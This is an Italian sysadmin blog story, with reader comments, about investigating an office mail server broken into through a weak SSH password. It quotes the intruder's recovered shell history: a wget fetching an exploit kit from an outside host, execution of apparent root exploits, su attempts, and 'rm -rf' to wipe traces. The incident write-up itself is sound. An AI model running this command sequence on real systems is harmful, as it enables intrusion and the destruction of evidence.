Tales from the Machine Room

Cracking Time

B - D? Sono B. Senti, qui e' successo un casino dovresti venire a dare un occhiata.

Non devo dire come e' che B ha il mio numero di cellofono eh?

IO - ? Io? Alle sette di mattina? E perche' io?
B - Ti ricordi l'altra volta quando abbiamo scoperto quei PC di $noivendiamoariafritta nell'armadio? Ecco, ci sono altri problemi e penso che dovresti dare un occhiata a qualche cosa.
IO - Hemmm... io dovrei andare in ufficio...
B - Chiamo DB e gli dico che vieni qui per fare una cosa importantissima.
IO - Ma seriamente, non potete aspettare nel pom...
B - Nooooo!!!!!

Comunque, dopo un certo tira-e-molla ed una chiamata diretta a DB che da la sua benedizione (e la mia doccia per ritornare in forma quasi umana), mi dirigo verso $noivendiamobigliettisuinternet (che in effetti sta a 5 km da casa mia).

Li' B mi agguanta e mi spiega che succede.

B - Allora, stamani la nostra receptionista e' arrivata molto presto e non riusciva a leggere la sua posta.
IO - E che c'e' di strano? Si sara' scordata la password.
B - No, non si era scordata la password, perche' non la cambia mai, ma qualcuno l'aveva cambiata per lei e no non sono stata io a cambiarla e si io sono l'unica che puo' cambiare le password degli utenti.
IO - (aspettando il seguito) ...e?
B - Da quando in qua le password si cambiano da sole?
IO - Huemmm... di solito non succede. Vabbe' vediamo sta cosa.

Cosi' andiamo in Sala Macchine, perche' B (ragazza intelligente) ha staccato il cavo di rete del server di posta interno, che fa anche da gateway verso internet per l'ufficio. Attacco una tastiera ed un monitor e guardo. Un 'last' mi dice che gli unici che hanno fatto login sono B dalla console alle 7 di mattina e UL di $noivendiamoariafritta via SSH alle 2 del mattino... Quest'ultimo risulta aver fatto login da un IP di AOL. Qui gatta ci cova.

Un controllino nella homedir di UL la rivela vuota. Vuota. Sento puzza di bruciato. Come minimo dovrebbe esserci un .bash_history se ha fatto login via SSH.

Un controllo nel log di sistema mi dice che "UL" ha sbagliato password 2 volte prima di accedere. Non sembra un brute-force attack.

Sfodero la chiavetta USB ed installo il mio root-kit-test, un controllo non riporta cose strane. Un rapido test mi dice che gli unici files modificati in /etc sono /etc/passwd ed /etc/shadow, ma a questo punto non sono del tutto sicuro di quanto posso fidarmi di questa macchina.

IO - Mi sa che hai fatto bene a chiamarmi e che questa macchina dovra essere reinstallata, tanto per stare sul sicuro. Sai mica che password aveva UL?
B - Non lo so ma posso scoprirlo.
IO - Ok, tu vai e scopri che io vedo qui che posso scoprire.

Mi viene in mente a quel punto che il backup parte alle 2.30, e magari ha 'salvato' qualche cosa di interessante. Quindi guardo sul disco USB (che viene montato e smontato dalla procedura di backup) e vedo che la directory di UL non e' vuota nel backup di ieri. O gioia. Cosi' riesco a scovare questo interessante frammento di storia:

w
uname -a 
ps aux 
ls -a
last
ps aux 
mailq 
ls -a
cat /etc/issue 
ps ax 
wget makingcash.ucoz.co.uk/Muistul.tgz
tar xzvf Muistul.tgz 
cd .local/
./2007
./raptor 
ls
ps aux 
last root
ps ax 
uname -a 
cat /etc/passwd
su receptions
su B
su SL
su CL
su ...
cat /etc/passwd
su ...
su ...
su ...
ls -a
cd /tmp
ls -a
rm -rf .* * 
cd /var/tmp
ls -a
rm -rf .* * 
cd ~
ls -a
cat .bash_history
rm -rf .* * 
passwd
ps aux 
ls -a
last
clear 
cat /etc/issue 
exit

Gli altri "su" non hanno dato frutti. Un dubbio atroce mi piglia e controllo. No, per fortuna UL non era in sudo. Non che il tipo ci abbia provato comunque.

B ritorna con una faccia schifata.

B - Ci crederesti? La sua password era $nomediUL123.
IO - E adesso e' "seilicenziatoidiota"?
B - Dimmi che non ci e' entrato dentro qualcuno!
IO - Sorry. Ma si', e' entrato dentro qualcuno. Ma non mi sembra che abbia fatto molto. In ogni caso l'unico accesso che aveva era in questa macchina no? Quindi anche se aveva una password idiota non ha potuto fare danni altrove. Vedi che a volte il non avere un sistema di autenticazione centralizzato e' un bene?

A questo punto B ha insistito per offrirmi la colazione nel baretto all'angolo e poi ho speso il resto della giornata reinstallando la macchina e controllando gli altri sistemi dell'ufficio. Dai discorsi che ho udito non credo che $noivendiamoariafritta vendera molto in questo posto.

Davide
12/01/2009 08:30

Previous Next

Comments are added when and more important if I have the time to review them and after removing Spam, Crap, Phishing and the like. So don't hold your breath. And if your comment doesn't appear, is probably becuase it wasn't worth it.

50 messages this document does not accept new posts

Un buon modo per iniziare la giornata By Gama posted 12/01/2009 08:18

Data By Kaspa posted 12/01/2009 08:19

-AT- Kaspa By Davide Bianchi posted 12/01/2009 08:31

Che dolce risveglio...... By Eugenio Dorigati posted 12/01/2009 08:53

subject By RaDu posted 12/01/2009 08:54

-AT- RaDu By Davide Bianchi posted 12/01/2009 09:23

Signature By Gama posted 12/01/2009 08:55

Domanda: la signature inserita nel profilo utente non viene inserita al termine del messaggio in automatico?
Se la risposta e' "si" allora c'e' qualcosa che non va: ho impostato una signature ma, per lo meno nell'ultimo messaggio, non viene visualizzata.

Vediamo se d'ora in poi mi ricordo di non firmarmi visto che il nome viene messo in automatico!

-- Gama

Non tutto il male viene per nuocere.... By Cobra78 posted 12/01/2009 09:17

Brutti ricordi By johnnymnemonic posted 12/01/2009 09:56

E ci risiamo... By noob posted 12/01/2009 10:06

Exploit By Daniele Levi posted 12/01/2009 10:10

subject By Daniele G. posted 12/01/2009 10:22

Ammiro B ogni storia di più

-- Daniele G.

-AT- Daniele G. By Davide Bianchi posted 12/01/2009 12:30

dipende... By mau posted 12/01/2009 18:54

dipende com'è... magari è una donna libera
(e magari gradevole alla vista)

-- mau

cose varie By Herr Franz posted 12/01/2009 11:10

-AT- Herr Franz By Davide Bianchi posted 12/01/2009 12:31

groan... By dpantaleo posted 12/01/2009 11:20

... sono estremamente deluso! questo tentativo era mooolto al di sotto della media, o sbaglio?

-AT- davide: quando fai lo zip delle storie del 2008, che così me le rileggo sul cellofono

-- dpantaleo

dolce risveglio? By Tommaso posted 12/01/2009 11:25

dai bigD, non ti lamentare, se a svegliarti era un'altrO CL a caso ti andava molto peggio!
E comunque non credo ti dispiaccia di passare una giornata pagato con B, no?

-- Tommaso

Sudo.. By Dom posted 12/01/2009 11:48

-AT- Dom By Davide Bianchi posted 12/01/2009 12:33

Sudo ma Godo ? By filippo posted 12/01/2009 14:57

sudo By Andrea Ballarati posted 13/01/2009 09:01

+1 x sudo By Tommaso posted 13/01/2009 09:38

Hum... By spacexplorer posted 12/01/2009 12:40

Qualche bacchettata ha chi ha fatto il "sistema" da B ci
andrebbe pero` (posta interna e gw sulla stessa macchina,
pass o non forzatamente cambiate a tempo, o comunque nessun
impedimento a (ri)mettere la stessa, mi sembra un ssh con
pass senza chiave, "bkup" direttamente sul server)...

Perche` non proponi un mini-pc tipo il tuo audioserver come gw
e/o come mini logstation che replica i log delle macchine piu`
importanti (una jail per macchina, chflags sappnd per ogni log
con securlevel a 3)?

Grazie di nuovo per la "compagnia del lunedi`" (che con i
"commenti" dura tutta la settimana)! Fammi sapere per il css

-- spacexplorer

non male By Daniele posted 12/01/2009 12:40

subject By Gabriele Corrieri posted 12/01/2009 13:14

-AT- Gabriele Corrieri By Andrea Occhi posted 14/01/2009 17:26

root exploit By checkitout3 posted 12/01/2009 13:26

-AT- checkitout3 By Davide Bianchi posted 12/01/2009 14:39

root exploit By checkitout3 posted 12/01/2009 15:03

-AT- checkitout3 By Davide Bianchi posted 12/01/2009 15:05

... By Nik posted 12/01/2009 19:04

Maaaa.... By Mick Zio Zero posted 12/01/2009 22:01

Bello By kache posted 12/01/2009 23:53

-AT- kache By Davide Bianchi posted 13/01/2009 08:31

... By Gabriele Corrieri posted 13/01/2009 00:54

The bold and the red By maxxfi posted 13/01/2009 09:05

Carino il sistema dei commenti.
Se non costa molta fatica, IMVHO non sarebbe male evidenziare i nomi registrati p.es. in grassetto e quello di Davide in rosso.

Riguardo al letto, consiglio anch'io IKEA (se ce n'e' uno vicino).
E' relativamente economico ma soprattutto e' hacker-friendly

-- maxxfi

subject By Diego posted 13/01/2009 13:10

-AT- Diego By Davide Bianchi posted 13/01/2009 14:25

-AT- Diego By Davide Bianchi posted 13/01/2009 14:48

AAA By Samuel posted 13/01/2009 18:06

ciao
complimenti per il sito e soprattutto per le storie... si comincia bene la settimana leggendoti

Faccio anche una proposta costruttiva (spero) al sito:

per postare un messaggio, senza quotare (rispondi) ad un post precedente bisogna risalire l'elenco dei messaggi inseriti, si potrebbe inserire anche questo link in coda ai messaggi postati?

grazie

-- Samuel

-AT- Samuel By Davide Bianchi posted 13/01/2009 18:49

scafato? By Thurill-AT-gmail.com posted 14/01/2009 14:02

-AT- Thurill-AT-gmail.com By Lo Zeno posted 15/01/2009 13:58

non funzionano su questo kernel By Davide Inglima posted 15/01/2009 21:02

Un buon modo di iniziare la giornata (2) By kallsu posted 16/01/2009 21:18

-AT- kallsu By Davide Bianchi posted 17/01/2009 08:39

> Ho maledetto l'orrido programmatore in vacanza per giorni e giorni, comunque appena tornato ha scontato tributo pagando colazioni per 1 mese di fila !

Bhe', fa piacere vedere che c'e' una certa giustizia nel mondo.

-- Davide Bianchi

quando il caso ci mette lo zampino ..... By soichiro posted 17/01/2009 22:56

Proprio 10 minuti fa mi chiama un'amica di famiglia per chiedermi se posso reinstallarle, per l'ennesima volta, il sistema visto che gliel'hanno "HECHARATO" (mettere su un firewall & un antivir serio non symacoso o il merdaviglioso affare che danno con alice di telecom italia no eh? o_O ).

Qui in italia il numero dei sistemi craccati/infetti in giro deve essere enorme a causa dell'ignoranza che vige in ambito informatico, dico solo che un ragazzino di 15 anni(ora ne ha di più ma le conoscenze latitano sempre) è stato acclamato dai media come esperto di sicurezza informatica :| , solo perchè scrive(va) guide for dummies e propone servizi assurdi (tra cui un sicurissimo sistema gratuito di gestione delle password via web :F )

Tornando alla storia che aspetta il management di $noivendiamobigliettisuinternet(o in alternativa B) a mettere il cartello io non posso entrare con la faccia degli ul di $noivendiamoariafritta dopo aver sbattuto fuori dalla finestra i serwer ???

-- soichiro

-AT- soichiro By Davide Bianchi posted 18/01/2009 09:17

file scaricato By mk posted 20/03/2009 12:08

50 messages this document does not accept new posts

Previous Next

This site is made by me with blood, sweat and gunpowder, if you want to republish or redistribute any part of it, please drop me (or the author of the article if is not me) a mail.